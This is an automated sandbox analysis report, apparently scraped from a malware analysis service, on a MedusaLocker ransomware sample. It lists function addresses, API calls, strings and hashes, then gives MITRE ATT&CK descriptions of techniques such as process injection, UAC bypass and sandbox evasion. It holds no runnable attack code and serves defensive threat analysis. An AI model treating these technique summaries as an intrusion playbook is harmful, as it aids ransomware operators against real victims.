Instruction Fuzzy Hash: 0CE0CD1282152096D720B3645A1679D27D0AF22315F6040E6F000171C39FBC4BD067E6

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD907, Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,00ADBD21), ref: 00ADD90D
GetLastError.KERNEL32 ref: 00ADD91A
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ADD930
__CxxThrowException@8.LIBVCRUNTIME ref: 00ADD93E

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3103352999-0
Opcode ID: abec4914d35c654ba6bd15a4e8e22c0eea2d8dbb76a2729ab28aafc6f3dd5756
Instruction ID: cb0ea7d04368fae97b3360d90aaa23cd5964a072d63eb08bd60eeb53b81892d9
Opcode Fuzzy Hash: abec4914d35c654ba6bd15a4e8e22c0eea2d8dbb76a2729ab28aafc6f3dd5756
Instruction Fuzzy Hash: 25E02B3000010ADBC720B7B4CC0E6BF36EC7A01314FA08E56F472E11E1EF24E4058260

Uniqueness

Uniqueness Score: -1.00%

Function 00AFE783, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00AFE78C

Part of subcall function 00B00B7F: HeapFree.KERNEL32(00000000,00000000,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?), ref: 00B00B95
Part of subcall function 00B00B7F: GetLastError.KERNEL32(?,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?,?), ref: 00B00BA7

_free.LIBCMT ref: 00AFE79F
_free.LIBCMT ref: 00AFE7B0
_free.LIBCMT ref: 00AFE7C1

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c13d98c229732e18142bfba167e11458836a8d4592e09f52d5e033c837d91208
Instruction ID: 7c6f5c249b174b596b151e8519e8cab8cfd8bb84090c456948d6297c36442d64
Opcode Fuzzy Hash: c13d98c229732e18142bfba167e11458836a8d4592e09f52d5e033c837d91208
Instruction Fuzzy Hash: 38E0B679826331AACB127F28BD019693FA1F75BB287014056F90817276CF750B529A9B

Uniqueness

Uniqueness Score: -1.00%

Function 00AC4E11, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AC4E18

Part of subcall function 00AC37BD: __EH_prolog3.LIBCMT ref: 00AC37C4
Part of subcall function 00AC37BD: std::_Lockit::_Lockit.LIBCPMT ref: 00AC37CE
Part of subcall function 00AC37BD: std::locale::_Getfacet.LIBCPMT ref: 00AC37EE
Part of subcall function 00AC37BD: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC383F

_Find_unchecked1.LIBCPMT ref: 00AC5029

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00AC4E80

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Lockitstd::_$Find_unchecked1GetfacetH_prolog3H_prolog3_Lockit::_Lockit::~_std::locale::_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 3598883737-2799312399
Opcode ID: f88688817c63d90fbb8170a7ca08caa3e3a8115b6c0b3cee77a7857d0330d939
Instruction ID: 7a367f9be425d84e476ec6aea5aa3e7cffcdf95252d71525b3d7a83c8a28617e
Opcode Fuzzy Hash: f88688817c63d90fbb8170a7ca08caa3e3a8115b6c0b3cee77a7857d0330d939
Instruction Fuzzy Hash: 73C19F30D046889EDF25DBB8C594FECBBB2AF55304F6A415DE8856B283C730AD85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00AFB1AD, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00AFB23D

Strings

pow, xrefs: 00AFB215, 00AFB232

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 8440a9ff038d408b2e4e73e79e33868ea68944a2fec485867240b2a7b80aa8d6
Instruction ID: e9e7c150b7ab3246beb5ec1468ebdde9244c7e4b88f36107b004cf842c255f76
Opcode Fuzzy Hash: 8440a9ff038d408b2e4e73e79e33868ea68944a2fec485867240b2a7b80aa8d6
Instruction Fuzzy Hash: D1519B71A18A0996CB217B54C9597FF2FF4EB40740F708AA9F1C1866E8EF348D818E56

Uniqueness

Uniqueness Score: -1.00%

Function 00AC1290, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

_strftime.LIBCMT ref: 00AC133B

Strings

;, xrefs: 00AC12DF
%Y-%m-%dT%H:%M:%S, xrefs: 00AC1322

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _strftime
String ID: %Y-%m-%dT%H:%M:%S$;
API String ID: 1867682108-3532145019
Opcode ID: 2dce1a9ffb9f7f1960e31d224b9676564a82267401761f14a31f3265ebc856ac
Instruction ID: 6f429d9599729ce015595142f551a6eb3a36a12c330c5aba53aa65848bec2f03
Opcode Fuzzy Hash: 2dce1a9ffb9f7f1960e31d224b9676564a82267401761f14a31f3265ebc856ac
Instruction Fuzzy Hash: D9412CB5D10208ABCB04EBE4DD92FEEB778FF15704F404529F5126B282EB746A08CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD59A6, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AD59AD
__cftoe.LIBCMT ref: 00AD5A2E

Strings

!%x, xrefs: 00AD59BE

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: e5229282054daaf78f4592cad3c7273987e31ca982a0d5519f7a2a3650fee115
Instruction ID: a2b13ceb8c882b5d1f0275cef08138aaa73a957e76aa8a690d8e470912e28bab
Opcode Fuzzy Hash: e5229282054daaf78f4592cad3c7273987e31ca982a0d5519f7a2a3650fee115
Instruction Fuzzy Hash: 0E215975D1025DEBCF00DFA0D985AEEB7B2BF18304F11415AF51667351E7346A05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9384, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AD938B
__cftoe.LIBCMT ref: 00AD9402

Strings

!%x, xrefs: 00AD939F

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: 4a7f5d9f396d6b849f545bd396b222149af772963fc166603812155cc61223b9
Instruction ID: 09730368fcca9f53a24d0de08ff6e73b5ceff50d3faee0514b0239216b8b244d
Opcode Fuzzy Hash: 4a7f5d9f396d6b849f545bd396b222149af772963fc166603812155cc61223b9
Instruction Fuzzy Hash: 09215575914299AFDF01DF94E851AEEBBB5BF58300F08405AF9066B342D7749A05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AE8731, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE8779
__CxxThrowException@8.LIBVCRUNTIME ref: 00AE8787

Strings

pContext, xrefs: 00AE8771

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1687795959-2046700901
Opcode ID: c9cfbffdb24bba63f719f7da5c7b1aace559997b9135843367b217c69dffc583
Instruction ID: dffa479d14abdea8a38a23433a34be75b9f02b3fdf7df678ba525e068630cd72
Opcode Fuzzy Hash: c9cfbffdb24bba63f719f7da5c7b1aace559997b9135843367b217c69dffc583
Instruction Fuzzy Hash: 46F0E039700118DBCB04AB75D854C5DF7E9DFC57907158069ED11D3351DF74DD0586A0

Uniqueness

Uniqueness Score: -1.00%

Function 00AF38C9, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 00AF38D5
__CxxThrowException@8.LIBVCRUNTIME ref: 00AF38FC

Part of subcall function 00AF1677: RaiseException.KERNEL32(?,?,?,00ADB48F,?,?,?,?,?,?,?,?,00ADB48F,?,00B3ED74), ref: 00AF16D7

Part of subcall function 00AF506D: _free.LIBCMT ref: 00AF5080

Strings

Access violation - no RTTI data!, xrefs: 00AF38CC

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionException@8RaiseThrow_freestd::__non_rtti_object::__construct_from_string_literal
String ID: Access violation - no RTTI data!
API String ID: 2536551521-2158758863
Opcode ID: b6de7ccdc27727eda2ad9432bd6c67874b883b37c437107ca874879d9fda3bf3
Instruction ID: 10275269aa02cf24cc868c3f3795f5b0fcf58ef740ba436516dca05a18523e9f
Opcode Fuzzy Hash: b6de7ccdc27727eda2ad9432bd6c67874b883b37c437107ca874879d9fda3bf3
Instruction Fuzzy Hash: 90E0DF7390430CAA9F00EBE09987CBE73EC9914740F200463FB00E2481EAA1FF4041A0

Uniqueness

Uniqueness Score: -1.00%

Function 00AEBFE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AEC003
__CxxThrowException@8.LIBVCRUNTIME ref: 00AEC011

Strings

pThreadProxy, xrefs: 00AEBFFB

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pThreadProxy
API String ID: 1687795959-3651400591
Opcode ID: 504c3517f6af54c33673554020458f4438adbff575d980bf8cf5b8de4d5338cd
Instruction ID: 24acb4f5e962aaff58dd1f020af347b4476ca29087bc577602390265d6fe643d
Opcode Fuzzy Hash: 504c3517f6af54c33673554020458f4438adbff575d980bf8cf5b8de4d5338cd
Instruction Fuzzy Hash: E0D05B31D00248A6CB00EBB5D94AECD73E85B10744F548174791196042EB70D5058A90

Uniqueness

Uniqueness Score: -1.00%

Function 00AC3292, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

std::bad_exception::bad_exception.LIBCMTD ref: 00AC329E
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC32AC

Part of subcall function 00AF1677: RaiseException.KERNEL32(?,?,?,00ADB48F,?,?,?,?,?,?,?,?,00ADB48F,?,00B3ED74), ref: 00AF16D7

Strings

bad function call, xrefs: 00AC32B2

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionException@8RaiseThrowstd::bad_exception::bad_exception
String ID: bad function call
API String ID: 1843230569-3612616537
Opcode ID: f87b42dcb3b054aff9250bfec18e4fa4a3630d9d49e0d5523b8a23ad1f808544
Instruction ID: 1c30ad0607306917a772110329a9117b2a4955ed51ed766ddf124b8d11d8c3ad
Opcode Fuzzy Hash: f87b42dcb3b054aff9250bfec18e4fa4a3630d9d49e0d5523b8a23ad1f808544
Instruction Fuzzy Hash: 64C0123DC0010CB78B00BBE4D94699C77B8AA11340FC054A1BA10D7491DBB4A6149EC0

Uniqueness

Uniqueness Score: -1.00%

Function 00AA3FE0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

std::bad_exception::bad_exception.LIBCMTD ref: 00AA3FEE
__CxxThrowException@8.LIBVCRUNTIME ref: 00AA3FFC

Part of subcall function 00AF1677: RaiseException.KERNEL32(?,?,?,00ADB48F,?,?,?,?,?,?,?,?,00ADB48F,?,00B3ED74), ref: 00AF16D7

Strings

This function cannot be called on a default constructed task, xrefs: 00AA3FE6

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionException@8RaiseThrowstd::bad_exception::bad_exception
String ID: This function cannot be called on a default constructed task
API String ID: 1843230569-3567850458
Opcode ID: 57c8946dba2ad8d181e43a94c723afa83c026600c070ba46bf4604d34f91a804
Instruction ID: f7020551a4148b097c6bc74fba3fef348f593b69877213e6c1e99fc0a1ac32e2
Opcode Fuzzy Hash: 57c8946dba2ad8d181e43a94c723afa83c026600c070ba46bf4604d34f91a804
Instruction Fuzzy Hash: E4C08030D4420C76C700FBE4FD07C7D73BC4502700B4041D47D18638B1AF7166384691

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	API monitoring, MBR, VBR
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report f6ifQ0POml

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: MedusaLocker

Yara Overview

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Cryptography:

Privilege Escalation:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

